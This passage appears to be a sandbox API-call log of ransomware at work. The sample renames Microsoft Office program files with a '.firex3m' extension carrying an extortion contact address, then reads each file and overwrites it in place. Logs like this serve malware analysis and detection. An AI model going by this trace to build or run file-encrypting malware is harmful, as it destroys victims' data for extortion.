1 [0149.888] Sleep (dwMilliseconds=0x1) [0149.904] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA", len=0x44 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA") returned 1 [0149.904] GetProcessHeap () returned 0x630000 [0149.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b94) returned 0x713f7f0 [0149.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\utility.accda"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0149.906] CloseHandle (hObject=0x67c) returned 1 [0149.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\utility.accda"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\utility.accda.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1335b74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UTILIT~1.FIR")) returned 0x6d4ec0 [0149.907] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0149.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\utility.accda.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0149.907] GetProcessHeap () returned 0x630000 [0149.907] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7345a98 [0149.908] GetProcessHeap () returned 0x630000 [0149.908] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7350ec8 [0149.908] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.909] ReadFile (in: hFile=0x67c, lpBuffer=0x7345a98, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7345a98*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.770] GetProcessHeap () returned 0x630000 [0158.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0158.770] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.770] WriteFile (in: hFile=0x67c, lpBuffer=0x7350ec8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7350ec8*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.770] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.771] WriteFile (in: hFile=0x67c, lpBuffer=0x735c2c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x735c2c7*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.771] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.771] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.772] CloseHandle (hObject=0x67c) returned 1 [0158.772] GetProcessHeap () returned 0x630000 [0158.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7350ec8 | out: hHeap=0x630000) returned 1 [0158.772] GetProcessHeap () returned 0x630000 [0158.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7345a98 | out: hHeap=0x630000) returned 1 [0158.772] GetProcessHeap () returned 0x630000 [0158.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0158.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1335b74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24953181, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbe024, dwReserved0=0xb247496, dwReserved1=0x7345a90, cFileName="UTILITY.ACCDA.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UTILIT~1.FIR")) returned 0x6d5280 [0158.772] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.772] Sleep (dwMilliseconds=0x1) [0160.618] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml") returned 1 [0160.618] GetProcessHeap () returned 0x630000 [0160.618] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bf0) returned 0x707d3d0 [0160.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0160.622] CloseHandle (hObject=0x6a4) returned 1 [0160.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.623] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16651cf9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16677f4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1108, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0160.623] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0160.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0160.623] GetProcessHeap () returned 0x630000 [0160.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x72b2d18 [0160.623] GetProcessHeap () returned 0x630000 [0160.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x72b3e48 [0160.623] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.623] ReadFile (in: hFile=0x6a4, lpBuffer=0x72b2d18, nNumberOfBytesToRead=0x1100, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b2d18*, lpNumberOfBytesRead=0x40bff0c*=0x1100, lpOverlapped=0x0) returned 1 [0160.754] GetProcessHeap () returned 0x630000 [0160.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0160.755] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.755] WriteFile (in: hFile=0x6a4, lpBuffer=0x72b3e48*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b3e48*, lpNumberOfBytesWritten=0x40bff0c*=0x1100, lpOverlapped=0x0) returned 1 [0160.755] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.755] WriteFile (in: hFile=0x6a4, lpBuffer=0x72b4f47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b4f47*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.755] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.755] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.755] CloseHandle (hObject=0x6a4) returned 1 [0160.755] GetProcessHeap () returned 0x630000 [0160.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b3e48 | out: hHeap=0x630000) returned 1 [0160.755] GetProcessHeap () returned 0x630000 [0160.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b2d18 | out: hHeap=0x630000) returned 1 [0160.755] GetProcessHeap () returned 0x630000 [0160.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0160.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16651cf9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25c3fd2c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0xb247496, dwReserved1=0x72b2d10, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d52c0 [0160.756] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0160.756] Sleep (dwMilliseconds=0x1) [0160.904] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", len=0x63 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl") returned 1 [0160.904] GetProcessHeap () returned 0x630000 [0160.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd0) returned 0x707d3d0 [0160.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0160.932] CloseHandle (hObject=0x66c) returned 1 [0160.932] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.973] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJETX~1.FIR")) returned 0x6d5540 [0160.973] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0160.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0160.973] GetProcessHeap () returned 0x630000 [0160.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7341) returned 0x7083fd8 [0160.974] GetProcessHeap () returned 0x630000 [0160.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7341) returned 0x708b328 [0160.974] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.974] ReadFile (in: hFile=0x66c, lpBuffer=0x7083fd8, nNumberOfBytesToRead=0x7320, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083fd8*, lpNumberOfBytesRead=0x40bff0c*=0x7320, lpOverlapped=0x0) returned 1 [0165.819] GetProcessHeap () returned 0x630000 [0165.819] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0165.819] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.819] WriteFile (in: hFile=0x66c, lpBuffer=0x708b328*, nNumberOfBytesToWrite=0x7320, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x708b328*, lpNumberOfBytesWritten=0x40bff0c*=0x7320, lpOverlapped=0x0) returned 1 [0165.819] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.819] WriteFile (in: hFile=0x66c, lpBuffer=0x7092647*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7092647*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.819] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.819] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.820] CloseHandle (hObject=0x66c) returned 1 [0165.820] GetProcessHeap () returned 0x630000 [0165.820] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x708b328 | out: hHeap=0x630000) returned 1 [0165.820] GetProcessHeap () returned 0x630000 [0165.820] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7083fd8 | out: hHeap=0x630000) returned 1 [0165.820] GetProcessHeap () returned 0x630000 [0165.820] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0165.820] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28c7f0a2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x735d, dwReserved0=0xb247496, dwReserved1=0x7083fd0, cFileName="msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJETX~1.FIR")) returned 0x6d5040 [0165.820] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0165.820] Sleep (dwMilliseconds=0x1) [0166.559] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap", len=0x6f | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap") returned 1 [0166.559] GetProcessHeap () returned 0x630000 [0166.559] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b94) returned 0x707d3d0 [0166.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-cyrl\\powerviewres.sr-cyrl.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0166.560] CloseHandle (hObject=0x6dc) returned 1 [0166.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-cyrl\\powerviewres.sr-cyrl.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-cyrl\\powerviewres.sr-cyrl.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15f04999, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f9d2e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51f6c, dwReserved0=0xd508e13c, dwReserved1=0x63005b, cFileName="PowerViewRes.sr-cyrl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4e40 [0166.561] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0166.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-cyrl\\powerviewres.sr-cyrl.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0166.561] GetProcessHeap () returned 0x630000 [0166.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x734a098 [0166.561] GetProcessHeap () returned 0x630000 [0166.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73554c8 [0166.561] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.561] ReadFile (in: hFile=0x6dc, lpBuffer=0x734a098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a098*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.622] GetProcessHeap () returned 0x630000 [0173.622] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0173.623] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.623] WriteFile (in: hFile=0x6dc, lpBuffer=0x73554c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73554c8*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.623] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.623] WriteFile (in: hFile=0x6dc, lpBuffer=0x73608c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608c7*, 